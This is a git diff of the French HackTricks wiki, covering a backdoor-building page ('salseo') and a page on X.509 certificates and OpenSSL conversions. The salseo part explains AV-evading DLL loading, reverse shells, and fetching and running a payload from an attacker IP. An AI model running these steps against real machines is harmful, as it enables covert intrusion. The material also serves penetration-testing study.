-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en Équipe Rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/SUMMARY.md b/SUMMARY.md index 9547d708c..9afbd9a79 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -353,6 +353,7 @@ * [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md) * [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md) * [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md) + * [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md) * [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md) * [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md) * [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md) diff --git a/backdoors/salseo.md b/backdoors/salseo.md index a4830a73d..3abb1fc76 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -6,11 +6,11 @@ Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -22,7 +22,7 @@ Compilez ces projets pour l'architecture de la machine Windows où vous allez le Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'onglet **"Build"** à gauche dans **"Platform Target".** -(\*\*Si vous ne trouvez pas ces options, appuyez sur **"Project Tab"** puis sur **"\ Properties"**) +(\*\*Si vous ne trouvez pas ces options, cliquez sur **"Project Tab"** puis sur **"\ Properties"**) ![](<../.gitbook/assets/image (132).png>) @@ -44,9 +44,9 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -Maintenant, vous avez tout ce dont vous avez besoin pour exécuter tout le truc de Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.** +Ok, maintenant vous avez tout ce dont vous avez besoin pour exécuter tout le truc Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.** -**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un quelconque AV...** +**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne doivent pas être détectés par un AV...** ## **Exécuter la porte dérobée** @@ -62,9 +62,9 @@ N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inversé, et un s ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **Obtenir un shell inversé ICMP (dll encodée déjà présente sur la victime)** +### **Obtenir un shell inverse ICMP (dll encodée déjà présente sur la victime)** -**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inversé. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) #### **Désactiver les réponses ICMP :** ``` @@ -87,23 +87,23 @@ Ouvrez le projet SalseoLoader à l'aide de Visual Studio. ### Ajoutez avant la fonction principale: \[DllExport] -![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ### Installez DllExport pour ce projet #### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...** -![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) #### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)** -![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) Dans le dossier de votre projet sont apparus les fichiers: **DllExport.bat** et **DllExport\_Configure.bat** ### **Désinstaller DllExport** -Appuyez sur **Désinstaller** (oui, c'est bizarre mais croyez-moi, c'est nécessaire) +Appuyez sur **Désinstaller** (oui, c'est bizarre mais faites-moi confiance, c'est nécessaire) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) @@ -113,7 +113,7 @@ Simplement **quittez** Visual Studio Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport\_Configure.bat** -Sélectionnez **x64** (si vous allez l'utiliser dans une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace for DllExport**) et appuyez sur **Appliquer** +Sélectionnez **x64** (si vous allez l'utiliser dans une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace pour DllExport**) et appuyez sur **Appliquer** ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) @@ -129,15 +129,15 @@ Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Proprié ![](<../.gitbook/assets/image (10) (1).png>) -Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Générer --> Cible de la plateforme = x64) +Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Build --> Cible de la plateforme = x64) ![](<../.gitbook/assets/image (9) (1) (1).png>) -Pour **compiler** la solution: Build --> Build Solution (À l'intérieur de la console de sortie, le chemin de la nouvelle DLL apparaîtra) +Pour **compiler** la solution: Build --> Compiler la solution (À l'intérieur de la console de sortie, le chemin du nouveau DLL apparaîtra) -### Testez la DLL générée +### Testez le Dll généré -Copiez et collez la DLL où vous souhaitez la tester. +Copiez et collez le Dll où vous souhaitez le tester. Exécutez: ``` @@ -160,7 +160,7 @@ rundll32.exe SalseoLoader.dll,main ``` ### CMD -### CMD +CMD (Command Prompt) is a command-line interpreter application available in Windows operating systems. It is used to execute commands entered by the user. ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -171,14 +171,14 @@ rundll32.exe SalseoLoader.dll,main ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! D'autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/cryptography/certificates.md b/cryptography/certificates.md index 7acb1d918..3329e4d6e 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -9,177 +9,180 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser des workflows** facilement grâce aux outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Qu'est-ce qu'un certificat -En cryptographie, un **certificat de clé publique**, également connu sous le nom de **certificat numérique** ou **certificat d'identité**, est un document électronique utilisé pour prouver la propriété d'une clé publique. Le certificat contient des informations sur la clé, des informations sur l'identité de son propriétaire (appelé le sujet), et la signature numérique d'une entité qui a vérifié le contenu du certificat (appelé l'émetteur). Si la signature est valide et que le logiciel examinant le certificat fait confiance à l'émetteur, il peut utiliser cette clé pour communiquer de manière sécurisée avec le sujet du certificat. +Un **certificat de clé publique** est une identité numérique utilisée en cryptographie pour prouver que quelqu'un possède une clé publique. Il inclut les détails de la clé, l'identité du propriétaire (le sujet) et une signature numérique d'une autorité de confiance (l'émetteur). Si le logiciel fait confiance à l'émetteur et que la signature est valide, une communication sécurisée avec le propriétaire de la clé est possible. -Dans un schéma typique d'**infrastructure à clé publique** ([PKI](https://en.wikipedia.org/wiki/Public-key\_infrastructure)), l'émetteur du certificat est une **autorité de certification** ([CA](https://en.wikipedia.org/wiki/Certificate\_authority)), généralement une entreprise qui facture ses clients pour émettre des certificats pour eux. En revanche, dans un schéma de **toile de confiance** ([web of trust](https://en.wikipedia.org/wiki/Web\_of\_trust)), les individus signent directement les clés des autres, dans un format qui remplit une fonction similaire à un certificat de clé publique. +Les certificats sont principalement délivrés par des [autorités de certification](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) dans une configuration d'infrastructure à clé publique (PKI). Une autre méthode est le [réseau de confiance](https://en.wikipedia.org/wiki/Web\_of\_trust), où les utilisateurs vérifient directement les clés les uns des autres. Le format commun des certificats est [X.509](https://en.wikipedia.org/wiki/X.509), qui peut être adapté à des besoins spécifiques comme décrit dans la RFC 5280. -Le format le plus courant pour les certificats de clé publique est défini par [X.509](https://en.wikipedia.org/wiki/X.509). Comme X.509 est très général, le format est en outre contraint par des profils définis pour certains cas d'utilisation, tels que l'**Infrastructure à clé publique (X.509)** comme défini dans la RFC 5280. +## Champs courants de x509 -## Champs communs x509 +### **Champs courants dans les certificats x509** -* **Numéro de version** : Version du format x509. -* **Numéro de série** : Utilisé pour identifier de manière unique le certificat dans les systèmes d'une CA. En particulier, cela est utilisé pour suivre les informations de révocation. -* **Sujet** : L'entité à laquelle appartient un certificat : une machine, un individu ou une organisation. -* **Nom commun** : Domaines affectés par le certificat. Peut être 1 ou plus et peut contenir des caractères génériques. -* **Pays (C)** : Pays -* **Nom distinctif (DN)** : L'ensemble du sujet : `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` -* **Localité (L)** : Lieu local -* **Organisation (O)** : Nom de l'organisation -* **Unité organisationnelle (OU)** : Division d'une organisation (comme "Ressources humaines"). -* **État ou province (ST, S ou P)** : Liste des noms d'état ou de province -* **Émetteur** : L'entité qui a vérifié les informations et signé le certificat. -* **Nom commun (CN)** : Nom de l'autorité de certification -* **Pays (C)** : Pays de l'autorité de certification -* **Nom distinctif (DN)** : Nom distinctif de l'autorité de certification -* **Localité (L)** : Lieu local où l'organisation peut être trouvée. -* **Organisation (O)** : Nom de l'organisation -* **Unité organisationnelle (OU)** : Division d'une organisation (comme "Ressources humaines"). -* **Non avant** : La date et l'heure les plus précoces à partir desquelles le certificat est valide. Généralement défini quelques heures ou jours avant le moment où le certificat a été émis, pour éviter les problèmes de [dérive d'horloge](https://fr.wikipedia.org/wiki/Dérive\_d'horloge). -* **Non après** : La date et l'heure après lesquelles le certificat n'est plus valide. -* **Clé publique** : Une clé publique appartenant au sujet du certificat. (C'est l'une des parties principales car c'est ce qui est signé par la CA) -* **Algorithme de clé publique** : Algorithme utilisé pour générer la clé publique. Comme RSA. -* **Courbe de clé publique** : La courbe utilisée par l'algorithme de clé publique à courbe elliptique (si applicable). Comme nistp521. -* **Exposant de clé publique** : Exposant utilisé pour dériver la clé publique (si applicable). Comme 65537. -* **Taille de clé publique** : La taille de l'espace de clé publique en bits. Comme 2048. -* **Algorithme de signature** : L'algorithme utilisé pour signer le certificat de clé publique. -* **Signature** : Une signature du corps du certificat par la clé privée de l'émetteur. -* **Extensions x509v3** -* **Utilisation de la clé** : Les utilisations cryptographiques valides de la clé publique du certificat. Les valeurs courantes incluent la validation de la signature numérique, le chiffrement de clé et la signature de certificat. -* Dans un certificat Web, cela apparaîtra comme une _extension X509v3_ et aura la valeur `Signature numérique` -* **Utilisation étendue de la clé** : Les applications dans lesquelles le certificat peut être utilisé. Les valeurs courantes incluent l'authentification du serveur TLS, la protection des e-mails et la signature de code. -* Dans un certificat Web, cela apparaîtra comme une _extension X509v3_ et aura la valeur `Authentification du serveur Web TLS` -* **Nom alternatif du sujet** : Permet aux utilisateurs de spécifier des **noms d'hôtes** supplémentaires pour un seul **certificat SSL**. L'utilisation de l'extension SAN est une pratique standard pour les certificats SSL, et elle est en passe de remplacer l'utilisation du **nom** commun. -* **Contrainte de base** : Cette extension décrit si le certificat est un certificat de CA ou un certificat d'entité finale. Un certificat de CA est quelque chose qui signe des certificats d'autres entités et un certificat d'entité finale est le certificat utilisé dans une page Web par exemple (la dernière partie de la chaîne). -* **Identifiant de clé du sujet** (SKI) : Cette extension déclare un **identifiant unique pour la clé publique** dans le certificat. Il est requis sur tous les certificats de CA. Les CA propagent leur propre SKI vers l'extension **Identifiant de clé de l'émetteur** (AKI) sur les certificats émis. C'est le hachage de la clé publique du sujet. -* **Identifiant de clé de l'autorité** : Il contient un identifiant de clé qui est dérivé de la clé publique dans le certificat de l'émetteur. C'est le hachage de la clé publique de l'émetteur. -* **Accès aux informations de l'autorité** (AIA) : Cette extension contient au plus deux types d'informations : -* Informations sur **comment obtenir l'émetteur de ce certificat** (méthode d'accès à l'émetteur de CA) -* Adresse du **répondeur OCSP à partir duquel la révocation de ce certificat** peut être vérifiée (méthode d'accès OCSP). -* **Points de distribution de la liste de révocation** (CRL) : Cette extension identifie l'emplacement de la liste de révocation à partir de laquelle la révocation de ce certificat peut être vérifiée. L'application qui traite le certificat peut obtenir l'emplacement de la CRL à partir de cette extension, télécharger la CRL, puis vérifier la révocation de ce certificat. -* **CT SCTs de précertificat** : Journaux de transparence des certificats concernant le certificat +Dans les certificats x509, plusieurs **champs** jouent des rôles critiques pour garantir la validité et la sécurité du certificat. Voici un aperçu de ces champs : -### Différence entre OCSP et Points de distribution de la liste de révocation (CRL) +* Le **Numéro de version** indique la version du format x509. +* Le **Numéro de série** identifie de manière unique le certificat au sein du système d'une autorité de certification (CA), principalement pour le suivi des révocations. +* Le champ **Sujet** représente le propriétaire du certificat, qui peut être une machine, un individu ou une organisation. Il inclut des identifications détaillées telles que : +* **Nom commun (CN)** : Domaines couverts par le certificat. +* **Pays (C)**, **Localité (L)**, **État ou Province (ST, S, ou P)**, **Organisation (O)** et **Unité organisationnelle (OU)** fournissent des détails géographiques et organisationnels. +* Le **Nom distingué (DN)** encapsule l'identification complète du sujet. +* L'**Émetteur** détaille qui a vérifié et signé le certificat, incluant des sous-champs similaires au Sujet pour la CA. +* La **Période de validité** est marquée par les horodatages **Non Avant** et **Non Après**, garantissant que le certificat n'est pas utilisé avant ou après une certaine date. +* La section **Clé publique**, cruciale pour la sécurité du certificat, spécifie l'algorithme, la taille et d'autres détails techniques de la clé publique. +* Les **extensions x509v3** améliorent la fonctionnalité du certificat, spécifiant l'**Utilisation de la clé**, l'**Utilisation étendue de la clé**, le **Nom alternatif du sujet** et d'autres propriétés pour affiner l'application du certificat. -**OCSP** (RFC 2560) est un protocole standard qui se compose d'un **client OCSP et d'un répondeur OCSP**. Ce protocole **détermine l'état de révocation d'un certificat numérique public** **sans** avoir à **télécharger** l'**ensemble de la CRL**.\ -**CRL** est la **méthode traditionnelle** de vérification de la validité du certificat. Une **CRL fournit une liste de numéros de série de certificat** qui ont été révoqués ou ne sont plus valides. Les CRL permettent au vérificateur de vérifier l'état de révocation du certificat présenté tout en le vérifiant. Les CRL sont limitées à 512 entrées.\ -De [ici](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). +#### **Utilisation de la clé et extensions** -### Qu'est-ce que la transparence des certificats +* L'**Utilisation de la clé** identifie les applications cryptographiques de la clé publique, comme la signature numérique ou le chiffrement de clé. +* L'**Utilisation étendue de la clé** restreint davantage les cas d'utilisation du certificat, par exemple, pour l'authentification du serveur TLS. +* Le **Nom alternatif du sujet** et la **Contrainte de base** définissent les noms d'hôte supplémentaires couverts par le certificat et s'il s'agit d'un certificat d'entité finale ou d'une CA, respectivement. +* Des identifiants comme l'**Identifiant de clé du sujet** et l'**Identifiant de clé de l'autorité** garantissent l'unicité et la traçabilité des clés. +* L'**Accès aux informations de l'autorité** et les **Points de distribution de la liste de révocation (CRL)** fournissent des chemins pour vérifier l'autorité de délivrance et vérifier l'état de révocation du certificat. +* Les **SCT des précertificats CT** offrent des journaux de transparence, cruciaux pour la confiance publique dans le certificat. +```python +# Example of accessing and using x509 certificate fields programmatically: +from cryptography import x509 +from cryptography.hazmat.backends import default_backend -La transparence des certificats vise à remédier aux menaces basées sur les certificats en **rendant l'émission et l'existence des certificats SSL ouvertes à l'examen par les propriétaires de domaines, les AC et les utilisateurs de domaines**. Plus précisément, la transparence des certificats a trois objectifs principaux : +# Load an x509 certificate (assuming cert.pem is a certificate file) +with open("cert.pem", "rb") as file: +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) -* Rendre impossible (ou du moins très difficile) à une AC d'**émettre un certificat SSL pour un domaine sans que le propriétaire** de ce domaine ne le voie. -* Fournir un **système d'audit et de surveillance ouvert** permettant à tout propriétaire de domaine ou AC de déterminer si des certificats ont été émis par erreur ou de manière malveillante. -* **Protéger les utilisateurs** (autant que possible) contre les certificats émis par erreur ou de manière malveillante. +# Accessing fields +serial_number = certificate.serial_number +issuer = certificate.issuer +subject = certificate.subject +public_key = certificate.public_key() + +print(f"Serial Number: {serial_number}") +print(f"Issuer: {issuer}") +print(f"Subject: {subject}") +print(f"Public Key: {public_key}") +``` +### **Différence entre les points de distribution OCSP et CRL** + +**OCSP** (**RFC 2560**) implique un client et un répondant travaillant ensemble pour vérifier si un certificat de clé publique numérique a été révoqué, sans avoir besoin de télécharger le **CRL** complet. Cette méthode est plus efficace que le **CRL** traditionnel, qui fournit une liste de numéros de série de certificat révoqués mais nécessite le téléchargement d'un fichier potentiellement volumineux. Les CRL peuvent inclure jusqu'à 512 entrées. Plus de détails sont disponibles [ici](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). + +### **Qu'est-ce que la transparence des certificats** + +La transparence des certificats aide à lutter contre les menaces liées aux certificats en garantissant que l'émission et l'existence des certificats SSL sont visibles pour les propriétaires de domaines, les AC et les utilisateurs. Ses objectifs sont : + +* Empêcher les AC d'émettre des certificats SSL pour un domaine sans la connaissance du propriétaire du domaine. +* Établir un système d'audit ouvert pour suivre les certificats émis par erreur ou de manière malveillante. +* Protéger les utilisateurs contre les certificats frauduleux. #### **Journaux de certificats** -Les journaux de certificats sont des services réseau simples qui conservent des **enregistrements de certificats cryptographiquement assurés, vérifiables publiquement, en ajout seulement**. **N'importe qui peut soumettre des certificats à un journal**, bien que les autorités de certification soient susceptibles d'être les principaux soumissionnaires. De même, n'importe qui peut interroger un journal pour obtenir une preuve cryptographique, qui peut être utilisée pour vérifier que le journal fonctionne correctement ou vérifier qu'un certificat particulier a été enregistré. Le nombre de serveurs de journaux n'a pas besoin d'être important (disons, beaucoup moins d'un millier dans le monde entier), et chacun pourrait être exploité indépendamment par une AC, un FAI ou toute autre partie intéressée. +Les journaux de certificats sont des enregistrements publics, vérifiables et en ajout seulement de certificats, maintenus par des services réseau. Ces journaux fournissent des preuves cryptographiques à des fins d'audit. Les autorités d'émission et le public peuvent soumettre des certificats à ces journaux ou les interroger pour vérification. Bien que le nombre exact de serveurs de journaux ne soit pas fixe, il est censé être inférieur à mille à l'échelle mondiale. Ces serveurs peuvent être gérés de manière indépendante par des AC, des FAI ou toute entité intéressée. -#### Requête +#### **Interrogation** -Vous pouvez interroger les journaux de transparence des certificats de n'importe quel domaine sur [https://crt.sh/](https://crt.sh). +Pour explorer les journaux de transparence des certificats pour un domaine, visitez [https://crt.sh/](https://crt.sh). -## Formats +Différents formats existent pour stocker des certificats, chacun ayant ses propres cas d'utilisation et compatibilité. Ce résumé couvre les principaux formats et fournit des conseils sur la conversion entre eux. -Il existe différents formats pouvant être utilisés pour stocker un certificat. +## **Formats** -#### **Format PEM** +### **Format PEM** -* C'est le format le plus courant utilisé pour les certificats -* La plupart des serveurs (par exemple Apache) s'attendent à ce que les certificats et la clé privée soient dans des fichiers séparés\ -\- Habituellement, ils sont des fichiers ASCII encodés en Base64\ -\- Les extensions utilisées pour les certificats PEM sont .cer, .crt, .pem, .key\ -\- Apache et des serveurs similaires utilisent des certificats au format PEM +* Format le plus largement utilisé pour les certificats. +* Nécessite des fichiers séparés pour les certificats et les clés privées, encodés en Base64 ASCII. +* Extensions courantes : .cer, .crt, .pem, .key. +* Principalement utilisé par Apache et des serveurs similaires. -#### **Format DER** +### **Format DER** -* Le format DER est la forme binaire du certificat -* Tous les types de certificats et de clés privées peuvent être encodés au format DER -* Les certificats formatés en DER ne contiennent pas les déclarations "BEGIN CERTIFICATE/END CERTIFICATE" -* Les certificats formatés en DER utilisent le plus souvent les extensions ‘.cer’ et '.der' -* DER est généralement utilisé dans les plates-formes Java +* Un format binaire de certificats. +* Ne contient pas les déclarations "BEGIN/END CERTIFICATE" que l'on trouve dans les fichiers PEM. +* Extensions courantes : .cer, .der. +* Souvent utilisé avec les plates-formes Java. -#### **Format P7B/PKCS#7** +### **Format P7B/PKCS#7** -* Le format PKCS#7 ou P7B est stocké au format ASCII Base64 et a une extension de fichier .p7b ou .p7c -* Un fichier P7B contient uniquement des certificats et des certificats de chaîne (AC intermédiaires), pas la clé privée -* Les plates-formes les plus courantes qui prennent en charge les fichiers P7B sont Microsoft Windows et Java Tomcat +* Stocké en Base64 ASCII, avec les extensions .p7b ou .p7c. +* Contient uniquement des certificats et des certificats de chaîne, excluant la clé privée. +* Pris en charge par Microsoft Windows et Java Tomcat. -#### **Format PFX/P12/PKCS#12** +### **Format PFX/P12/PKCS#12** -* Le format PKCS#12 ou PFX/P12 est un format binaire pour stocker le certificat du serveur, les certificats intermédiaires et la clé privée dans un fichier chiffrable -* Ces fichiers ont généralement des extensions telles que .pfx et .p12 -* Ils sont généralement utilisés sur les machines Windows pour importer et exporter des certificats et des clés privées +* Un format binaire qui encapsule les certificats de serveur, les certificats intermédiaires et les clés privées dans un seul fichier. +* Extensions : .pfx, .p12. +* Principalement utilisé sur Windows pour l'importation et l'exportation de certificats. -### Conversions de formats +### **Conversion de formats** -**Convertir x509 en PEM** -``` +Les **conversions PEM** sont essentielles pour la compatibilité : + +* **x509 vers PEM** +```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` -#### **Convertir PEM en DER** -``` +* **PEM to DER** +```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` -**Convertir DER en PEM** -``` +* **DER vers PEM** +```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` -**Convertir PEM en P7B** - -**Remarque :** Le format PKCS#7 ou P7B est stocké au format ASCII Base64 et a une extension de fichier .p7b ou .p7c. Un fichier P7B ne contient que des certificats et des certificats de chaîne (CA intermédiaires), pas la clé privée. Les plateformes les plus courantes prenant en charge les fichiers P7B sont Microsoft Windows et Java Tomcat. -``` +* **PEM to P7B** +```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` -**Convertir PKCS7 en PEM** -``` +* **PKCS7 to PEM** +```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` -**Convertir pfx en PEM** +**Les conversions PFX** sont cruciales pour la gestion des certificats sur Windows: -**Remarque :** Le format PKCS#12 ou PFX est un format binaire pour stocker le certificat du serveur, les certificats intermédiaires et la clé privée dans un fichier chiffrable. Les fichiers PFX ont généralement des extensions telles que .pfx et .p12. Les fichiers PFX sont généralement utilisés sur les machines Windows pour importer et exporter des certificats et des clés privées. -``` +* **PFX vers PEM** +```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` -**Convertir PFX en PKCS#8**\ -**Remarque :** Cela nécessite 2 commandes - -**1- Convertir PFX en PEM** -``` +* **PFX to PKCS#8** implique deux étapes : +1. Convertir le PFX en PEM +```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` -**2- Convertir PEM en PKCS8** +2. Convert PEM to PKCS8 + +To convert a PEM-encoded private key to PKCS8 format, you can use the following OpenSSL command: + +```bash +openssl pkcs8 -topk8 -inform PEM -outform DER -in private-key.pem -out private-key.pkcs8 -nocrypt ``` + +This command will convert the private key from PEM format to PKCS8 format without encryption. +```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` -**Convertir P7B en PFX**\ -**Remarque :** Cela nécessite 2 commandes - -1- **Convertir P7B en CER** -``` +* **P7B vers PFX** nécessite également deux commandes : +1. Convertir P7B en CER +```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` -**2- Convertir un certificat CER et une clé privée en PFX** +2. Convertir un certificat CER et une clé privée en PFX +```bash +openssl pkcs12 -export -in 